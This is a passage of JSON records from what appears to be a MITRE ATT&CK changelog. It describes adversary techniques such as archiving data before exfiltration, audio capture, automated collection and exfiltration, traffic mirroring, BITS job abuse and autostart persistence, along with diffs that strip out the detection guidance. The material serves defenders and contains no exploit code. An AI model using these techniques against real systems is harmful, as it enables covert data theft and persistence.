"id": "attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-20 21:01:25.428000+00:00",
"modified": "2025-10-24 17:48:19.477000+00:00",
"name": "Archive via Utility",
"description": "Adversaries may use utilities to compress and/or encrypt collected data prior to exfiltration. Many utilities include functionalities to compress, encrypt, or otherwise package data into a format that is easier/more secure to transport.\n\nAdversaries may abuse various utilities to compress or encrypt data before exfiltration. Some third party utilities may be preinstalled, such as tar on Linux and macOS or zip on Windows systems. \n\nOn Windows, diantz or makecab may be used to package collected files into a cabinet (.cab) file. diantz may also be used to download and compress files from remote locations (i.e. [Remote Data Staging](https://attack.mitre.org/techniques/T1074/002)).(Citation: diantz.exe_lolbas) xcopy on Windows can copy files and directories with a variety of options. Additionally, adversaries may use [certutil](https://attack.mitre.org/software/S0160) to Base64 encode collected data before exfiltration. \n\nAdversaries may use also third party utilities, such as 7-Zip, WinRAR, and WinZip, to perform similar activities.(Citation: 7zip Homepage)(Citation: WinRAR Homepage)(Citation: WinZip Homepage)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "collection"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1560/001",
"external_id": "T1560.001"
},
{
"source_name": "WinRAR Homepage",
"description": "A. Roshal. (2020). RARLAB. Retrieved February 20, 2020.",
"url": "https://www.rarlab.com/"
},
{
"source_name": "WinZip Homepage",
"description": "Corel Corporation. (2020). WinZip. Retrieved February 20, 2020.",
"url": "https://www.winzip.com/win/en/"
},
{
"source_name": "7zip Homepage",
"description": "I. Pavlov. (2019). 7-Zip. Retrieved February 20, 2020.",
"url": "https://www.7-zip.org/"
},
{
"source_name": "diantz.exe_lolbas",
"description": "Living Off The Land Binaries, Scripts and Libraries (LOLBAS). (n.d.). Diantz.exe. Retrieved October 25, 2021.",
"url": "https://lolbas-project.github.io/lolbas/Binaries/Diantz/"
},
{
"source_name": "Wikipedia File Header Signatures",
"description": "Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016.",
"url": "https://en.wikipedia.org/wiki/List_of_file_signatures"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Mayan Arora aka Mayan Mohan",
"Mark Wee"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "1.3",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Command: Command Execution\", \"File: File Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:19.477000+00:00\", \"old_value\": \"2025-04-15 21:51:23.078000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known archival utilities. This may yield a significant number of benign events, depending on how systems in the environment are typically used.\\n\\nConsider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known archival utilities. This may yield a significant number of benign events, depending on how systems in the environment are typically used.\\n-\\n-Consider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures)\"}}}",
"previous_version": "1.3",
"changelog_mitigations": {
"shared": [
"M1047: Audit"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Creation)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0298: Detect Archiving via Utility (T1560.001)"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2017-05-31 21:31:34.528000+00:00",
"modified": "2025-10-24 17:48:24.702000+00:00",
"name": "Audio Capture",
"description": "An adversary can leverage a computer's peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information.(Citation: ESET Attor Oct 2019)\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "collection"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1123",
"external_id": "T1123"
},
{
"source_name": "ESET Attor Oct 2019",
"description": "Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020.",
"url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "1.0",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: OS API Execution\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:24.702000+00:00\", \"old_value\": \"2025-04-15 21:51:52.461000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.\\n\\nBehavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the microphone, recording devices, or recording software, and a process periodically writing files to disk that contain audio data.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.\\n-\\n-Behavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the microphone, recording devices, or recording software, and a process periodically writing files to disk that contain audio data.\"}}}",
"previous_version": "1.0",
"changelog_mitigations": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (OS API Execution)",
"DS0017: Command (Command Execution)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0221: Behavioral Detection Strategy for T1123 Audio Capture Across Windows, Linux, macOS"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2017-05-31 21:31:27.985000+00:00",
"modified": "2025-10-24 17:48:35.995000+00:00",
"name": "Automated Collection",
"description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. \n\nIn cloud-based environments, adversaries may also use cloud APIs, data pipelines, command line interfaces, or extract, transform, and load (ETL) services to automatically collect data.(Citation: Mandiant UNC3944 SMS Phishing 2023) \n\nThis functionality could also be built into remote access tools. \n\nThis technique may incorporate use of other techniques such as [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) and [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570) to identify and move files, as well as [Cloud Service Dashboard](https://attack.mitre.org/techniques/T1538) and [Cloud Storage Object Discovery](https://attack.mitre.org/techniques/T1619) to identify resources in cloud environments.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "collection"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1119",
"external_id": "T1119"
},
{
"source_name": "Mandiant UNC3944 SMS Phishing 2023",
"description": "Mandiant Intelligence. (2023, September 14). Why Are You Texting Me? UNC3944 Leverages SMS Phishing Campaigns for SIM Swapping, Ransomware, Extortion, and Notoriety. Retrieved January 2, 2024.",
"url": "https://www.mandiant.com/resources/blog/unc3944-sms-phishing-sim-swapping-ransomware"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Praetorian",
"Arun Seelagan, CISA"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"IaaS",
"Linux",
"macOS",
"Office Suite",
"SaaS",
"Windows"
],
"x_mitre_version": "1.4",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"User Account: User Account Authentication\", \"Command: Command Execution\", \"File: File Access\", \"Script: Script Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:35.995000+00:00\", \"old_value\": \"2025-04-15 19:58:18.743000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Depending on the method used, actions could include common file system commands and parameters on the command-line interface within batch files or scripts. A sequence of actions like this may be unusual, depending on the system and network environment. Automated collection may occur along with other techniques such as [Data Staged](https://attack.mitre.org/techniques/T1074). As such, file access monitoring that shows an unusual process performing sequential file opens and potentially copy actions to another location on the file system for many files at once may indicate automated collection behavior. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), as well as through cloud APIs and command line interfaces.\"}}}",
"previous_version": "1.4",
"changelog_mitigations": {
"shared": [
"M1029: Remote Data Storage",
"M1041: Encrypt Sensitive Information"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0002: User Account (User Account Authentication)",
"DS0012: Script (Script Execution)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Access)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0186: Automated File and API Collection Detection Across Platforms"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2017-05-31 21:30:29.458000+00:00",
"modified": "2025-10-24 17:48:58.340000+00:00",
"name": "Automated Exfiltration",
"description": "Adversaries may exfiltrate data, such as sensitive documents, through the use of automated processing after being gathered during Collection.(Citation: ESET Gamaredon June 2020) \n\nWhen automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "exfiltration"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1020",
"external_id": "T1020"
},
{
"source_name": "ESET Gamaredon June 2020",
"description": "Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020.",
"url": "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"ExtraHop"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Network Devices",
"Windows"
],
"x_mitre_version": "1.3",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Network Traffic: Network Traffic Flow\", \"File: File Access\", \"Network Traffic: Network Connection Creation\", \"Network Traffic: Network Traffic Content\", \"Script: Script Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:58.340000+00:00\", \"old_value\": \"2025-04-15 19:58:42.569000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious.\"}}}",
"previous_version": "1.3",
"changelog_mitigations": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0012: Script (Script Execution)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Access)",
"DS0029: Network Traffic (Network Connection Creation)",
"DS0029: Network Traffic (Network Traffic Content)",
"DS0029: Network Traffic (Network Traffic Flow)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0397: Automated Exfiltration Detection Strategy"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--7c46b364-8496-4234-8a56-f7e6727e21e1",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-19 13:40:11.118000+00:00",
"modified": "2025-10-24 17:49:00.388000+00:00",
"name": "Traffic Duplication",
"description": "Adversaries may leverage traffic mirroring in order to automate data exfiltration over compromised infrastructure. Traffic mirroring is a native feature for some devices, often used for network analysis. For example, devices may be configured to forward network traffic to one or more destinations for analysis by a network analyzer or other monitoring device. (Citation: Cisco Traffic Mirroring)(Citation: Juniper Traffic Mirroring)\n\nAdversaries may abuse traffic mirroring to mirror or redirect network traffic through other infrastructure they control. Malicious modifications to network devices to enable traffic redirection may be possible through [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) or [Patch System Image](https://attack.mitre.org/techniques/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks)\n\nMany cloud-based environments also support traffic mirroring. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to.(Citation: AWS Traffic Mirroring)(Citation: GCP Packet Mirroring)(Citation: Azure Virtual Network TAP)\n\nAdversaries may use traffic duplication in conjunction with [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Input Capture](https://attack.mitre.org/techniques/T1056), or [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) depending on the goals and objectives of the adversary.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "exfiltration"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1020/001",
"external_id": "T1020.001"
},
{
"source_name": "AWS Traffic Mirroring",
"description": "Amazon Web Services. (n.d.). How Traffic Mirroring works. Retrieved March 17, 2022.",
"url": "https://docs.aws.amazon.com/vpc/latest/mirroring/traffic-mirroring-how-it-works.html"
},
{
"source_name": "Cisco Traffic Mirroring",
"description": "Cisco. (n.d.). Cisco IOS XR Interface and Hardware Component Configuration Guide for the Cisco CRS Router, Release 5.1.x. Retrieved October 19, 2020.",
"url": "https://www.cisco.com/c/en/us/td/docs/routers/crs/software/crs_r5-1/interfaces/configuration/guide/hc51xcrsbook/hc51span.html"
},
{
"source_name": "GCP Packet Mirroring",
"description": "Google Cloud. (n.d.). Packet Mirroring overview. Retrieved March 17, 2022.",
"url": "https://cloud.google.com/vpc/docs/packet-mirroring"
},
{
"source_name": "Juniper Traffic Mirroring",
"description": "Juniper. (n.d.). Understanding Port Mirroring on EX2200, EX3200, EX3300, EX4200, EX4500, EX4550, EX6200, and EX8200 Series Switches. Retrieved October 19, 2020.",
"url": "https://www.juniper.net/documentation/en_US/junos/topics/concept/port-mirroring-ex-series.html"
},
{
"source_name": "Azure Virtual Network TAP",
"description": "Microsoft. (2022, February 9). Virtual network TAP. Retrieved March 17, 2022.",
"url": "https://docs.microsoft.com/en-us/azure/virtual-network/virtual-network-tap-overview"
},
{
"source_name": "Cisco Blog Legacy Device Attacks",
"description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.",
"url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954"
},
{
"source_name": "US-CERT-TA18-106A",
"description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
"url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Network Devices",
"IaaS"
],
"x_mitre_version": "1.4",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Connection Creation\", \"Network Traffic: Network Traffic Flow\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:00.388000+00:00\", \"old_value\": \"2025-04-15 19:58:44.474000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor network traffic for uncommon data flows (e.g. unusual network communications, suspicious communications that have never been seen before, communications sending fixed size data packets at regular intervals). Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. \"}}}",
"previous_version": "1.4",
"changelog_mitigations": {
"shared": [
"M1018: User Account Management",
"M1041: Encrypt Sensitive Information",
"M1057: Data Loss Prevention"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0029: Network Traffic (Network Connection Creation)",
"DS0029: Network Traffic (Network Traffic Flow)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0403: Detection Strategy for Traffic Duplication via Mirroring in IaaS and Network Devices"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2018-04-18 17:59:24.739000+00:00",
"modified": "2025-10-24 17:49:22.711000+00:00",
"name": "BITS Jobs",
"description": "Adversaries may abuse BITS jobs to persistently execute code and perform various background tasks. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM).(Citation: Microsoft COM)(Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.\n\nThe interface to create and manage BITS jobs is accessible through [PowerShell](https://attack.mitre.org/techniques/T1059/001) and the [BITSAdmin](https://attack.mitre.org/software/S0190) tool.(Citation: Microsoft BITS)(Citation: Microsoft BITSAdmin)\n\nAdversaries may abuse BITS to download (e.g. [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)), execute, and even clean up after running malicious code (e.g. [Indicator Removal](https://attack.mitre.org/techniques/T1070)). BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls.(Citation: CTU BITS Malware June 2016)(Citation: Mondok Windows PiggyBack BITS May 2007)(Citation: Symantec BITS May 2007) BITS enabled execution may also enable persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots).(Citation: PaloAlto UBoatRAT Nov 2017)(Citation: CTU BITS Malware June 2016)\n\nBITS upload functionalities can also be used to perform [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).(Citation: CTU BITS Malware June 2016)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1197",
"external_id": "T1197"
},
{
"source_name": "CTU BITS Malware June 2016",
"description": "Counter Threat Unit Research Team. (2016, June 6). Malware Lingers with BITS. Retrieved January 12, 2018.",
"url": "https://www.secureworks.com/blog/malware-lingers-with-bits"
},
{
"source_name": "Symantec BITS May 2007",
"description": "Florio, E. (2007, May 9). Malware Update with Windows Update. Retrieved January 12, 2018.",
"url": "https://www.symantec.com/connect/blogs/malware-update-windows-update"
},
{
"source_name": "Elastic - Hunting for Persistence Part 1",
"description": "French, D., Murphy, B. (2020, March 24). Adversary tradecraft 101: Hunting for persistence using Elastic Security (Part 1). Retrieved December 21, 2020.",
"url": "https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1"
},
{
"source_name": "PaloAlto UBoatRAT Nov 2017",
"description": "Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018.",
"url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/"
},
{
"source_name": "Microsoft Issues with BITS July 2011",
"description": "Microsoft. (2011, July 19). Issues with BITS. Retrieved January 12, 2018.",
"url": "https://technet.microsoft.com/library/dd939934.aspx"
},
{
"source_name": "Microsoft BITS",
"description": "Microsoft. (n.d.). Background Intelligent Transfer Service. Retrieved January 12, 2018.",
"url": "https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx"
},
{
"source_name": "Microsoft BITSAdmin",
"description": "Microsoft. (n.d.). BITSAdmin Tool. Retrieved January 12, 2018.",
"url": "https://msdn.microsoft.com/library/aa362813.aspx"
},
{
"source_name": "Microsoft COM",
"description": "Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.",
"url": "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx"
},
{
"source_name": "Mondok Windows PiggyBack BITS May 2007",
"description": "Mondok, M. (2007, May 11). Malware piggybacks on Windows\u2019 Background Intelligent Transfer Service. Retrieved January 12, 2018.",
"url": "https://arstechnica.com/information-technology/2007/05/malware-piggybacks-on-windows-background-intelligent-transfer-service/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Brent Murphy, Elastic",
"David French, Elastic",
"Ricardo Dias",
"Red Canary"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.5",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Network Traffic: Network Connection Creation\", \"Process: Process Creation\", \"Service: Service Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:22.711000+00:00\", \"old_value\": \"2025-04-16 20:37:20.513000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"BITS runs as a service and its status can be checked with the Sc query utility (sc query bits).(Citation: Microsoft Issues with BITS July 2011) Active BITS tasks can be enumerated using the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (bitsadmin /list /allusers /verbose).(Citation: Microsoft BITS)\\n\\nMonitor usage of the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (especially the \\u2018Transfer\\u2019, 'Create', 'AddFile', 'SetNotifyFlags', 'SetNotifyCmdLine', 'SetMinRetryDelay', 'SetCustomHeaders', and 'Resume' command options)(Citation: Microsoft BITS) Admin logs, PowerShell logs, and the Windows Event log for BITS activity.(Citation: Elastic - Hunting for Persistence Part 1) Also consider investigating more detailed information about jobs by parsing the BITS job database.(Citation: CTU BITS Malware June 2016)\\n\\nMonitor and analyze network activity generated by BITS. BITS jobs use HTTP(S) and SMB for remote connections and are tethered to the creating user and will only function when that user is logged on (this rule applies even if a user attaches the job to a service account).(Citation: Microsoft BITS)\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-BITS runs as a service and its status can be checked with the Sc query utility (sc query bits).(Citation: Microsoft Issues with BITS July 2011) Active BITS tasks can be enumerated using the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (bitsadmin /list /allusers /verbose).(Citation: Microsoft BITS)\\n-\\n-Monitor usage of the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (especially the \\u2018Transfer\\u2019, 'Create', 'AddFile', 'SetNotifyFlags', 'SetNotifyCmdLine', 'SetMinRetryDelay', 'SetCustomHeaders', and 'Resume' command options)(Citation: Microsoft BITS) Admin logs, PowerShell logs, and the Windows Event log for BITS activity.(Citation: Elastic - Hunting for Persistence Part 1) Also consider investigating more detailed information about jobs by parsing the BITS job database.(Citation: CTU BITS Malware June 2016)\\n-\\n-Monitor and analyze network activity generated by BITS. BITS jobs use HTTP(S) and SMB for remote connections and are tethered to the creating user and will only function when that user is logged on (this rule applies even if a user attaches the job to a service account).(Citation: Microsoft BITS)\"}}}",
"previous_version": "1.5",
"changelog_mitigations": {
"shared": [
"M1018: User Account Management",
"M1028: Operating System Configuration",
"M1037: Filter Network Traffic"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0019: Service (Service Metadata)",
"DS0029: Network Traffic (Network Connection Creation)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0098: Detect abuse of Windows BITS Jobs for download, execution and persistence"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-01-23 17:46:59.535000+00:00",
"modified": "2025-10-24 17:48:29.846000+00:00",
"name": "Boot or Logon Autostart Execution",
"description": "Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation: Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming) These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. An adversary may achieve the same goal by modifying or extending features of the kernel.\n\nSince some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1547",
"external_id": "T1547"
},
{
"source_name": "Cylance Reg Persistence Sept 2013",
"description": "Langendorf, S. (2013, September 24). Windows Registry Persistence, Part 2: The Run Keys and Search-Order. Retrieved November 17, 2024.",
"url": "https://web.archive.org/web/20160214140250/http://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order"
},
{
"source_name": "MSDN Authentication Packages",
"description": "Microsoft. (n.d.). Authentication Packages. Retrieved March 1, 2017.",
"url": "https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx"
},
{
"source_name": "Microsoft Run Key",
"description": "Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved September 12, 2024.",
"url": "https://learn.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys"
},
{
"source_name": "Microsoft TimeProvider",
"description": "Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018.",
"url": "https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx"
},
{
"source_name": "Linux Kernel Programming",
"description": "Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018.",
"url": "https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf"
},
{
"source_name": "TechNet Autoruns",
"description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
"url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
}
],
"object_marking_refs": [
